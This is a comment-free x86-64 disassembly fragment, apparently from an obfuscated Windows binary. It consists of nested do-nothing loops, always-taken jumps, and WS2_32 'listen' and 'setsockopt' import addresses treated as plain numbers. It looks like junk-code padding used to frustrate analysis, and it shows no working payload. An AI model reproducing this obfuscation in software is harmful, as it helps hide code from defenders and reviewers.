jge 0x140185303
mov dword [rsp + 0xc30], 0x2a
mov dword [rsp + 0x7c4], 0
jmp 0x1401851ce
mov eax, dword [rsp + 0x7c4]
inc eax
mov dword [rsp + 0x7c4], eax
cmp dword [rsp + 0x7c4], 4
jge 0x14018527d
mov eax, dword [rsp + 0x7c4]
add eax, 2
mov dword [rsp + 0x33c], eax
mov eax, dword [rsp + 0x33c]
inc eax
mov dword [rsp + 0x33c], eax
cmp dword [rsp + 0x33c], 7
jne 0x14018526a
mov dword [rsp + 0xf0], Ordinal_79
cmp dword [rsp + 0xf0], 0
jle 0x14018524c
mov eax, dword [rsp + 0xf0]
sub eax, 5
mov dword [rsp + 0xf0], eax
cmp dword [rsp + 0xf0], 0xa
jne 0x14018524a
mov eax, dword [rsp + 0xf0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xf0], eax
jmp 0x140185212
mov eax, dword [rsp + 0x33c]
imul eax, dword [rsp + 0xc30]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x11e0], eax
cmp dword [rsp + 0x33c], 0xb
jl 0x1401851ed
jmp 0x1401851be
cmp dword [rsp + 0xc30], 0x14
jle 0x1401852fe
mov eax, dword [rsp + 0xc30]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xc34], eax
mov dword [rsp + 0xf4], Ordinal_79
cmp dword [rsp + 0xf4], 0
jle 0x1401852e3
mov eax, dword [rsp + 0xf4]
sub eax, 5
mov dword [rsp + 0xf4], eax
cmp dword [rsp + 0xf4], 0xa
jne 0x1401852e1
mov eax, dword [rsp + 0xf4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xf4], eax
jmp 0x1401852a9
mov eax, dword [rsp + 0xc34]
sub eax, 2
mov dword [rsp + 0xc34], eax
cmp dword [rsp + 0xc34], 0
jg 0x14018529e
jmp 0x140185188
jmp 0x140184bec
xor eax, eax
test eax, eax
je 0x140186464
xor eax, eax
test eax, eax
je 0x140185bc0
mov dword [rsp + 0xc38], 0
jmp 0x140185339
mov eax, dword [rsp + 0xc38]
inc eax
mov dword [rsp + 0xc38], eax
cmp dword [rsp + 0xc38], 5
jge 0x140185bbb
mov dword [rsp + 0xc54], 0x3f
mov dword [rsp + 0x7c8], 0
jmp 0x14018536f
mov eax, dword [rsp + 0x7c8]
inc eax
mov dword [rsp + 0x7c8], eax
cmp dword [rsp + 0x7c8], 9
jge 0x1401857a7
mov eax, dword [rsp + 0x7c8]
add eax, 7
mov dword [rsp + 0x358], eax
mov eax, dword [rsp + 0x358]
add eax, 4
mov dword [rsp + 0x358], eax
cmp dword [rsp + 0x358], 0x15
jne 0x140185794
mov dword [rsp + 0xc3c], 0
jmp 0x1401853ca
mov eax, dword [rsp + 0xc3c]
inc eax
mov dword [rsp + 0xc3c], eax
cmp dword [rsp + 0xc3c], 5
jge 0x140185593
mov dword [rsp + 0xc40], 0x11
mov dword [rsp + 0x7cc], 0
jmp 0x140185400
mov eax, dword [rsp + 0x7cc]
inc eax
mov dword [rsp + 0x7cc], eax
cmp dword [rsp + 0x7cc], 3
jge 0x1401854db
mov eax, dword [rsp + 0x7cc]
inc eax
mov dword [rsp + 0x344], eax
mov eax, dword [rsp + 0x344]
inc eax
mov dword [rsp + 0x344], eax
cmp dword [rsp + 0x344], 4
jne 0x1401854c8
mov dword [rsp + 0x340], reloc.WS2_32.dll_listen
mov dword [rsp + 0x7d0], 0
jmp 0x140185464
mov eax, dword [rsp + 0x7d0]
inc eax
mov dword [rsp + 0x7d0], eax
cmp dword [rsp + 0x7d0], 4
jge 0x1401854ad
mov eax, dword [rsp + 0x7d0]
mov ecx, dword [rsp + 0x340]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x340], eax
mov eax, dword [rsp + 0x340]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401854ab
imul eax, dword [rsp + 0x340], 3
mov dword [rsp + 0x340], eax
jmp 0x140185454
mov eax, dword [rsp + 0x344]
imul eax, dword [rsp + 0xc40]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11e4], eax
cmp dword [rsp + 0x344], 6
jl 0x14018541e
jmp 0x1401853f0
cmp dword [rsp + 0xc40], 0xa
jle 0x14018558e
mov eax, dword [rsp + 0xc40]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xc44], eax
mov dword [rsp + 0x348], reloc.WS2_32.dll_listen
mov dword [rsp + 0x7d4], 0
jmp 0x140185527
mov eax, dword [rsp + 0x7d4]
inc eax
mov dword [rsp + 0x7d4], eax
cmp dword [rsp + 0x7d4], 4
jge 0x140185570
mov eax, dword [rsp + 0x7d4]
mov ecx, dword [rsp + 0x348]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x348], eax
mov eax, dword [rsp + 0x348]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018556e
imul eax, dword [rsp + 0x348], 3
mov dword [rsp + 0x348], eax
jmp 0x140185517
mov eax, dword [rsp + 0xc44]
dec eax
mov dword [rsp + 0xc44], eax
cmp dword [rsp + 0xc44], 0
jg 0x1401854ff
jmp 0x1401853ba
mov eax, dword [rsp + 0x358]
imul eax, dword [rsp + 0xc54]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11e8], eax
mov dword [rsp + 0xc48], 0
jmp 0x1401855cb
mov eax, dword [rsp + 0xc48]
inc eax
mov dword [rsp + 0xc48], eax
cmp dword [rsp + 0xc48], 5
jge 0x140185794
mov dword [rsp + 0xc4c], 0x11
mov dword [rsp + 0x7d8], 0
jmp 0x140185601
mov eax, dword [rsp + 0x7d8]
inc eax
mov dword [rsp + 0x7d8], eax
cmp dword [rsp + 0x7d8], 3
jge 0x1401856dc
mov eax, dword [rsp + 0x7d8]
inc eax
mov dword [rsp + 0x350], eax
mov eax, dword [rsp + 0x350]
inc eax
mov dword [rsp + 0x350], eax
cmp dword [rsp + 0x350], 4
jne 0x1401856c9
mov dword [rsp + 0x34c], reloc.WS2_32.dll_listen
mov dword [rsp + 0x7dc], 0
jmp 0x140185665
mov eax, dword [rsp + 0x7dc]
inc eax
mov dword [rsp + 0x7dc], eax
cmp dword [rsp + 0x7dc], 4
jge 0x1401856ae
mov eax, dword [rsp + 0x7dc]
mov ecx, dword [rsp + 0x34c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x34c], eax
mov eax, dword [rsp + 0x34c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401856ac
imul eax, dword [rsp + 0x34c], 3
mov dword [rsp + 0x34c], eax
jmp 0x140185655
mov eax, dword [rsp + 0x350]
imul eax, dword [rsp + 0xc4c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11ec], eax
cmp dword [rsp + 0x350], 6
jl 0x14018561f
jmp 0x1401855f1
cmp dword [rsp + 0xc4c], 0xa
jle 0x14018578f
mov eax, dword [rsp + 0xc4c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xc50], eax
mov dword [rsp + 0x354], reloc.WS2_32.dll_listen
mov dword [rsp + 0x7e0], 0
jmp 0x140185728
mov eax, dword [rsp + 0x7e0]
inc eax
mov dword [rsp + 0x7e0], eax
cmp dword [rsp + 0x7e0], 4
jge 0x140185771
mov eax, dword [rsp + 0x7e0]
mov ecx, dword [rsp + 0x354]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x354], eax
mov eax, dword [rsp + 0x354]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018576f
imul eax, dword [rsp + 0x354], 3
mov dword [rsp + 0x354], eax
jmp 0x140185718
mov eax, dword [rsp + 0xc50]
dec eax
mov dword [rsp + 0xc50], eax
cmp dword [rsp + 0xc50], 0
jg 0x140185700
jmp 0x1401855bb
cmp dword [rsp + 0x358], 0x23
jl 0x14018538e
jmp 0x14018535f
cmp dword [rsp + 0xc54], 0x28
jle 0x1401859d0
mov eax, dword [rsp + 0xc54]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xc64], eax
mov dword [rsp + 0xc58], 0
jmp 0x1401857e8
mov eax, dword [rsp + 0xc58]
inc eax
mov dword [rsp + 0xc58], eax
cmp dword [rsp + 0xc58], 5
jge 0x1401859b1
mov dword [rsp + 0xc5c], 0x11
mov dword [rsp + 0x7e4], 0
jmp 0x14018581e
mov eax, dword [rsp + 0x7e4]
inc eax
mov dword [rsp + 0x7e4], eax
cmp dword [rsp + 0x7e4], 3
jge 0x1401858f9
mov eax, dword [rsp + 0x7e4]
inc eax
mov dword [rsp + 0x360], eax
mov eax, dword [rsp + 0x360]
inc eax
mov dword [rsp + 0x360], eax
cmp dword [rsp + 0x360], 4
jne 0x1401858e6
mov dword [rsp + 0x35c], reloc.WS2_32.dll_listen
mov dword [rsp + 0x7e8], 0
jmp 0x140185882
mov eax, dword [rsp + 0x7e8]
inc eax
mov dword [rsp + 0x7e8], eax
cmp dword [rsp + 0x7e8], 4
jge 0x1401858cb
mov eax, dword [rsp + 0x7e8]
mov ecx, dword [rsp + 0x35c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x35c], eax
mov eax, dword [rsp + 0x35c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1401858c9
imul eax, dword [rsp + 0x35c], 3
mov dword [rsp + 0x35c], eax
jmp 0x140185872
mov eax, dword [rsp + 0x360]
imul eax, dword [rsp + 0xc5c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11f0], eax
cmp dword [rsp + 0x360], 6
jl 0x14018583c
jmp 0x14018580e
cmp dword [rsp + 0xc5c], 0xa
jle 0x1401859ac
mov eax, dword [rsp + 0xc5c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xc60], eax
mov dword [rsp + 0x364], reloc.WS2_32.dll_listen
mov dword [rsp + 0x7ec], 0
jmp 0x140185945
mov eax, dword [rsp + 0x7ec]
inc eax
mov dword [rsp + 0x7ec], eax
cmp dword [rsp + 0x7ec], 4
jge 0x14018598e
mov eax, dword [rsp + 0x7ec]
mov ecx, dword [rsp + 0x364]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x364], eax
mov eax, dword [rsp + 0x364]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018598c
imul eax, dword [rsp + 0x364], 3
mov dword [rsp + 0x364], eax
jmp 0x140185935
mov eax, dword [rsp + 0xc60]
dec eax
mov dword [rsp + 0xc60], eax
cmp dword [rsp + 0xc60], 0
jg 0x14018591d
jmp 0x1401857d8
mov eax, dword [rsp + 0xc64]
sub eax, 2
mov dword [rsp + 0xc64], eax
cmp dword [rsp + 0xc64], 0
jg 0x1401857cb
mov dword [rsp + 0xc68], 0
jmp 0x1401859ed
mov eax, dword [rsp + 0xc68]
inc eax
mov dword [rsp + 0xc68], eax
cmp dword [rsp + 0xc68], 5
jge 0x140185bb6
mov dword [rsp + 0xc6c], 0x11
mov dword [rsp + 0x7f0], 0
jmp 0x140185a23
mov eax, dword [rsp + 0x7f0]
inc eax
mov dword [rsp + 0x7f0], eax
cmp dword [rsp + 0x7f0], 3
jge 0x140185afe
mov eax, dword [rsp + 0x7f0]
inc eax
mov dword [rsp + 0x36c], eax
mov eax, dword [rsp + 0x36c]
inc eax
mov dword [rsp + 0x36c], eax
cmp dword [rsp + 0x36c], 4
jne 0x140185aeb
mov dword [rsp + 0x368], reloc.WS2_32.dll_listen
mov dword [rsp + 0x7f4], 0
jmp 0x140185a87
mov eax, dword [rsp + 0x7f4]
inc eax
mov dword [rsp + 0x7f4], eax
cmp dword [rsp + 0x7f4], 4
jge 0x140185ad0
mov eax, dword [rsp + 0x7f4]
mov ecx, dword [rsp + 0x368]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x368], eax
mov eax, dword [rsp + 0x368]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140185ace
imul eax, dword [rsp + 0x368], 3
mov dword [rsp + 0x368], eax
jmp 0x140185a77
mov eax, dword [rsp + 0x36c]
imul eax, dword [rsp + 0xc6c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11f4], eax
cmp dword [rsp + 0x36c], 6
jl 0x140185a41
jmp 0x140185a13
cmp dword [rsp + 0xc6c], 0xa
jle 0x140185bb1
mov eax, dword [rsp + 0xc6c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xc70], eax
mov dword [rsp + 0x370], reloc.WS2_32.dll_listen
mov dword [rsp + 0x7f8], 0
jmp 0x140185b4a
mov eax, dword [rsp + 0x7f8]
inc eax
mov dword [rsp + 0x7f8], eax
cmp dword [rsp + 0x7f8], 4
jge 0x140185b93
mov eax, dword [rsp + 0x7f8]
mov ecx, dword [rsp + 0x370]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x370], eax
mov eax, dword [rsp + 0x370]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140185b91
imul eax, dword [rsp + 0x370], 3
mov dword [rsp + 0x370], eax
jmp 0x140185b3a
mov eax, dword [rsp + 0xc70]
dec eax
mov dword [rsp + 0xc70], eax
cmp dword [rsp + 0xc70], 0
jg 0x140185b22
jmp 0x1401859dd
jmp 0x140185329
jmp 0x140186464
mov dword [rsp + 0xc74], 0
jmp 0x140185bdd
mov eax, dword [rsp + 0xc74]
inc eax
mov dword [rsp + 0xc74], eax
cmp dword [rsp + 0xc74], 5
jge 0x140186464
mov dword [rsp + 0xc90], 0x5c
mov dword [rsp + 0x7fc], 0
jmp 0x140185c13
mov eax, dword [rsp + 0x7fc]
inc eax
mov dword [rsp + 0x7fc], eax
cmp dword [rsp + 0x7fc], 6
jge 0x14018604f
mov eax, dword [rsp + 0x7fc]
add eax, 9
mov dword [rsp + 0x38c], eax
mov eax, dword [rsp + 0x38c]
add eax, 3
mov dword [rsp + 0x38c], eax
cmp dword [rsp + 0x38c], 0x18
jne 0x14018603c
mov dword [rsp + 0xc78], 0
jmp 0x140185c6e
mov eax, dword [rsp + 0xc78]
inc eax
mov dword [rsp + 0xc78], eax
cmp dword [rsp + 0xc78], 5
jge 0x140185e37
mov dword [rsp + 0xc7c], 0x11
mov dword [rsp + 0x800], 0
jmp 0x140185ca4
mov eax, dword [rsp + 0x800]
inc eax
mov dword [rsp + 0x800], eax
cmp dword [rsp + 0x800], 3
jge 0x140185d7f
mov eax, dword [rsp + 0x800]
inc eax
mov dword [rsp + 0x378], eax
mov eax, dword [rsp + 0x378]
inc eax
mov dword [rsp + 0x378], eax
cmp dword [rsp + 0x378], 4
jne 0x140185d6c
mov dword [rsp + 0x374], reloc.WS2_32.dll_listen
mov dword [rsp + 0x804], 0
jmp 0x140185d08
mov eax, dword [rsp + 0x804]
inc eax
mov dword [rsp + 0x804], eax
cmp dword [rsp + 0x804], 4
jge 0x140185d51
mov eax, dword [rsp + 0x804]
mov ecx, dword [rsp + 0x374]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x374], eax
mov eax, dword [rsp + 0x374]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140185d4f
imul eax, dword [rsp + 0x374], 3
mov dword [rsp + 0x374], eax
jmp 0x140185cf8
mov eax, dword [rsp + 0x378]
imul eax, dword [rsp + 0xc7c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x11f8], eax
cmp dword [rsp + 0x378], 6
jl 0x140185cc2
jmp 0x140185c94
cmp dword [rsp + 0xc7c], 0xa
jle 0x140185e32
mov eax, dword [rsp + 0xc7c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xc80], eax
mov dword [rsp + 0x37c], reloc.WS2_32.dll_listen
mov dword [rsp + 0x808], 0
jmp 0x140185dcb
mov eax, dword [rsp + 0x808]
inc eax
mov dword [rsp + 0x808], eax
cmp dword [rsp + 0x808], 4
jge 0x140185e14
mov eax, dword [rsp + 0x808]
mov ecx, dword [rsp + 0x37c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x37c], eax
mov eax, dword [rsp + 0x37c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140185e12
imul eax, dword [rsp + 0x37c], 3
mov dword [rsp + 0x37c], eax
jmp 0x140185dbb
mov eax, dword [rsp + 0xc80]
dec eax
mov dword [rsp + 0xc80], eax
cmp dword [rsp + 0xc80], 0
jg 0x140185da3
jmp 0x140185c5e
mov eax, dword [rsp + 0x38c]
imul eax, dword [rsp + 0xc90]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x11fc], eax
mov dword [rsp + 0xc84], 0
jmp 0x140185e73
mov eax, dword [rsp + 0xc84]
inc eax
mov dword [rsp + 0xc84], eax
cmp dword [rsp + 0xc84], 5
jge 0x14018603c
mov dword [rsp + 0xc88], 0x11
mov dword [rsp + 0x80c], 0
jmp 0x140185ea9
mov eax, dword [rsp + 0x80c]
inc eax
mov dword [rsp + 0x80c], eax
cmp dword [rsp + 0x80c], 3
jge 0x140185f84
mov eax, dword [rsp + 0x80c]
inc eax
mov dword [rsp + 0x384], eax
mov eax, dword [rsp + 0x384]
inc eax
mov dword [rsp + 0x384], eax
cmp dword [rsp + 0x384], 4
jne 0x140185f71
mov dword [rsp + 0x380], reloc.WS2_32.dll_listen
mov dword [rsp + 0x810], 0
jmp 0x140185f0d
mov eax, dword [rsp + 0x810]
inc eax
mov dword [rsp + 0x810], eax
cmp dword [rsp + 0x810], 4
jge 0x140185f56
mov eax, dword [rsp + 0x810]
mov ecx, dword [rsp + 0x380]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x380], eax
mov eax, dword [rsp + 0x380]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140185f54
imul eax, dword [rsp + 0x380], 3
mov dword [rsp + 0x380], eax
jmp 0x140185efd
mov eax, dword [rsp + 0x384]
imul eax, dword [rsp + 0xc88]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1200], eax
cmp dword [rsp + 0x384], 6
jl 0x140185ec7
jmp 0x140185e99
cmp dword [rsp + 0xc88], 0xa
jle 0x140186037
mov eax, dword [rsp + 0xc88]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xc8c], eax
mov dword [rsp + 0x388], reloc.WS2_32.dll_listen
mov dword [rsp + 0x814], 0
jmp 0x140185fd0
mov eax, dword [rsp + 0x814]
inc eax
mov dword [rsp + 0x814], eax
cmp dword [rsp + 0x814], 4
jge 0x140186019
mov eax, dword [rsp + 0x814]
mov ecx, dword [rsp + 0x388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x388], eax
mov eax, dword [rsp + 0x388]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140186017
imul eax, dword [rsp + 0x388], 3
mov dword [rsp + 0x388], eax
jmp 0x140185fc0
mov eax, dword [rsp + 0xc8c]
dec eax
mov dword [rsp + 0xc8c], eax
cmp dword [rsp + 0xc8c], 0
jg 0x140185fa8
jmp 0x140185e63
cmp dword [rsp + 0x38c], 0x21
jl 0x140185c32
jmp 0x140185c03
cmp dword [rsp + 0xc90], 0x32
jle 0x140186279
mov eax, dword [rsp + 0xc90]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xca0], eax
mov dword [rsp + 0xc94], 0
jmp 0x140186091
mov eax, dword [rsp + 0xc94]
inc eax
mov dword [rsp + 0xc94], eax
cmp dword [rsp + 0xc94], 5
jge 0x14018625a
mov dword [rsp + 0xc98], 0x11
mov dword [rsp + 0x818], 0
jmp 0x1401860c7
mov eax, dword [rsp + 0x818]
inc eax
mov dword [rsp + 0x818], eax
cmp dword [rsp + 0x818], 3
jge 0x1401861a2
mov eax, dword [rsp + 0x818]
inc eax
mov dword [rsp + 0x394], eax
mov eax, dword [rsp + 0x394]
inc eax
mov dword [rsp + 0x394], eax
cmp dword [rsp + 0x394], 4
jne 0x14018618f
mov dword [rsp + 0x390], reloc.WS2_32.dll_listen
mov dword [rsp + 0x81c], 0
jmp 0x14018612b
mov eax, dword [rsp + 0x81c]
inc eax
mov dword [rsp + 0x81c], eax
cmp dword [rsp + 0x81c], 4
jge 0x140186174
mov eax, dword [rsp + 0x81c]
mov ecx, dword [rsp + 0x390]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x390], eax
mov eax, dword [rsp + 0x390]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140186172
imul eax, dword [rsp + 0x390], 3
mov dword [rsp + 0x390], eax
jmp 0x14018611b
mov eax, dword [rsp + 0x394]
imul eax, dword [rsp + 0xc98]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1204], eax
cmp dword [rsp + 0x394], 6
jl 0x1401860e5
jmp 0x1401860b7
cmp dword [rsp + 0xc98], 0xa
jle 0x140186255
mov eax, dword [rsp + 0xc98]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xc9c], eax
mov dword [rsp + 0x398], reloc.WS2_32.dll_listen
mov dword [rsp + 0x820], 0
jmp 0x1401861ee
mov eax, dword [rsp + 0x820]
inc eax
mov dword [rsp + 0x820], eax
cmp dword [rsp + 0x820], 4
jge 0x140186237
mov eax, dword [rsp + 0x820]
mov ecx, dword [rsp + 0x398]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x398], eax
mov eax, dword [rsp + 0x398]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140186235
imul eax, dword [rsp + 0x398], 3
mov dword [rsp + 0x398], eax
jmp 0x1401861de
mov eax, dword [rsp + 0xc9c]
dec eax
mov dword [rsp + 0xc9c], eax
cmp dword [rsp + 0xc9c], 0
jg 0x1401861c6
jmp 0x140186081
mov eax, dword [rsp + 0xca0]
sub eax, 5
mov dword [rsp + 0xca0], eax
cmp dword [rsp + 0xca0], 0
jg 0x140186074
mov dword [rsp + 0xca4], 0
jmp 0x140186296
mov eax, dword [rsp + 0xca4]
inc eax
mov dword [rsp + 0xca4], eax
cmp dword [rsp + 0xca4], 5
jge 0x14018645f
mov dword [rsp + 0xca8], 0x11
mov dword [rsp + 0x824], 0
jmp 0x1401862cc
mov eax, dword [rsp + 0x824]
inc eax
mov dword [rsp + 0x824], eax
cmp dword [rsp + 0x824], 3
jge 0x1401863a7
mov eax, dword [rsp + 0x824]
inc eax
mov dword [rsp + 0x3a0], eax
mov eax, dword [rsp + 0x3a0]
inc eax
mov dword [rsp + 0x3a0], eax
cmp dword [rsp + 0x3a0], 4
jne 0x140186394
mov dword [rsp + 0x39c], reloc.WS2_32.dll_listen
mov dword [rsp + 0x828], 0
jmp 0x140186330
mov eax, dword [rsp + 0x828]
inc eax
mov dword [rsp + 0x828], eax
cmp dword [rsp + 0x828], 4
jge 0x140186379
mov eax, dword [rsp + 0x828]
mov ecx, dword [rsp + 0x39c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x39c], eax
mov eax, dword [rsp + 0x39c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140186377
imul eax, dword [rsp + 0x39c], 3
mov dword [rsp + 0x39c], eax
jmp 0x140186320
mov eax, dword [rsp + 0x3a0]
imul eax, dword [rsp + 0xca8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1208], eax
cmp dword [rsp + 0x3a0], 6
jl 0x1401862ea
jmp 0x1401862bc
cmp dword [rsp + 0xca8], 0xa
jle 0x14018645a
mov eax, dword [rsp + 0xca8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xcac], eax
mov dword [rsp + 0x3a4], reloc.WS2_32.dll_listen
mov dword [rsp + 0x82c], 0
jmp 0x1401863f3
mov eax, dword [rsp + 0x82c]
inc eax
mov dword [rsp + 0x82c], eax
cmp dword [rsp + 0x82c], 4
jge 0x14018643c
mov eax, dword [rsp + 0x82c]
mov ecx, dword [rsp + 0x3a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a4], eax
mov eax, dword [rsp + 0x3a4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018643a
imul eax, dword [rsp + 0x3a4], 3
mov dword [rsp + 0x3a4], eax
jmp 0x1401863e3
mov eax, dword [rsp + 0xcac]
dec eax
mov dword [rsp + 0xcac], eax
cmp dword [rsp + 0xcac], 0
jg 0x1401863cb
jmp 0x140186286
jmp 0x140185bcd
xor eax, eax
cmp eax, 1
je 0x140187228
xor eax, eax
test eax, eax
je 0x140186b52
mov dword [rsp + 0xcb0], 0
jmp 0x140186496
mov eax, dword [rsp + 0xcb0]
inc eax
mov dword [rsp + 0xcb0], eax
cmp dword [rsp + 0xcb0], 5
jge 0x140186b4d
mov dword [rsp + 0xccc], 0x33
mov dword [rsp + 0x830], 0
jmp 0x1401864cc
mov eax, dword [rsp + 0x830]
inc eax
mov dword [rsp + 0x830], eax
cmp dword [rsp + 0x830], 6
jge 0x14018681e
mov eax, dword [rsp + 0x830]
add eax, 2
mov dword [rsp + 0x3c0], eax
mov eax, dword [rsp + 0x3c0]
add eax, 3
mov dword [rsp + 0x3c0], eax
cmp dword [rsp + 0x3c0], 0xb
jne 0x14018680b
mov dword [rsp + 0xcb4], 0
jmp 0x140186527
mov eax, dword [rsp + 0xcb4]
inc eax
mov dword [rsp + 0xcb4], eax
cmp dword [rsp + 0xcb4], 5
jge 0x14018667d
mov dword [rsp + 0xcb8], 7
mov dword [rsp + 0x834], 0
jmp 0x14018655d
mov eax, dword [rsp + 0x834]
inc eax
mov dword [rsp + 0x834], eax
cmp dword [rsp + 0x834], 2
jge 0x140186600
mov eax, dword [rsp + 0x834]
inc eax
mov dword [rsp + 0x3ac], eax
mov eax, dword [rsp + 0x3ac]
inc eax
mov dword [rsp + 0x3ac], eax
cmp dword [rsp + 0x3ac], 2
jne 0x1401865f1
mov dword [rsp + 0x3a8], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3a8]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401865c5
mov eax, dword [rsp + 0x3a8]
shl eax, 1
mov dword [rsp + 0x3a8], eax
jmp 0x1401865d6
mov eax, dword [rsp + 0x3a8]
add eax, 3
mov dword [rsp + 0x3a8], eax
mov eax, dword [rsp + 0x3ac]
imul eax, dword [rsp + 0xcb8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x120c], eax
cmp dword [rsp + 0x3ac], 3
jl 0x14018657b
jmp 0x14018654d
cmp dword [rsp + 0xcb8], 5
jle 0x140186678
mov eax, dword [rsp + 0xcb8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xcbc], eax
mov dword [rsp + 0x3b0], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3b0]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018664d
mov eax, dword [rsp + 0x3b0]
shl eax, 1
mov dword [rsp + 0x3b0], eax
jmp 0x14018665e
mov eax, dword [rsp + 0x3b0]
add eax, 3
mov dword [rsp + 0x3b0], eax
mov eax, dword [rsp + 0xcbc]
dec eax
mov dword [rsp + 0xcbc], eax
cmp dword [rsp + 0xcbc], 0
jg 0x14018661d
jmp 0x140186517
mov eax, dword [rsp + 0x3c0]
imul eax, dword [rsp + 0xccc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1210], eax
mov dword [rsp + 0xcc0], 0
jmp 0x1401866b5
mov eax, dword [rsp + 0xcc0]
inc eax
mov dword [rsp + 0xcc0], eax
cmp dword [rsp + 0xcc0], 5
jge 0x14018680b
mov dword [rsp + 0xcc4], 7
mov dword [rsp + 0x838], 0
jmp 0x1401866eb
mov eax, dword [rsp + 0x838]
inc eax
mov dword [rsp + 0x838], eax
cmp dword [rsp + 0x838], 2
jge 0x14018678e
mov eax, dword [rsp + 0x838]
inc eax
mov dword [rsp + 0x3b8], eax
mov eax, dword [rsp + 0x3b8]
inc eax
mov dword [rsp + 0x3b8], eax
cmp dword [rsp + 0x3b8], 2
jne 0x14018677f
mov dword [rsp + 0x3b4], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3b4]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140186753
mov eax, dword [rsp + 0x3b4]
shl eax, 1
mov dword [rsp + 0x3b4], eax
jmp 0x140186764
mov eax, dword [rsp + 0x3b4]
add eax, 3
mov dword [rsp + 0x3b4], eax
mov eax, dword [rsp + 0x3b8]
imul eax, dword [rsp + 0xcc4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1214], eax
cmp dword [rsp + 0x3b8], 3
jl 0x140186709
jmp 0x1401866db
cmp dword [rsp + 0xcc4], 5
jle 0x140186806
mov eax, dword [rsp + 0xcc4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xcc8], eax
mov dword [rsp + 0x3bc], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x3bc]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401867db
mov eax, dword [rsp + 0x3bc]
shl eax, 1
mov dword [rsp + 0x3bc], eax
jmp 0x1401867ec
mov eax, dword [rsp + 0x3bc]
add eax, 3
mov dword [rsp + 0x3bc], eax
mov eax, dword [rsp + 0xcc8]
dec eax
mov dword [rsp + 0xcc8], eax
cmp dword [rsp + 0xcc8], 0
jg 0x1401867ab
jmp 0x1401866a5
cmp dword [rsp + 0x3c0], 0xf
jl 0x1401864eb
jmp 0x1401864bc
cmp dword [rsp + 0xccc], 0x19
jle 0x1401869d5
mov eax, dword [rsp + 0xccc]
cdq
and edx, 3
add eax, edx
sar eax, 2
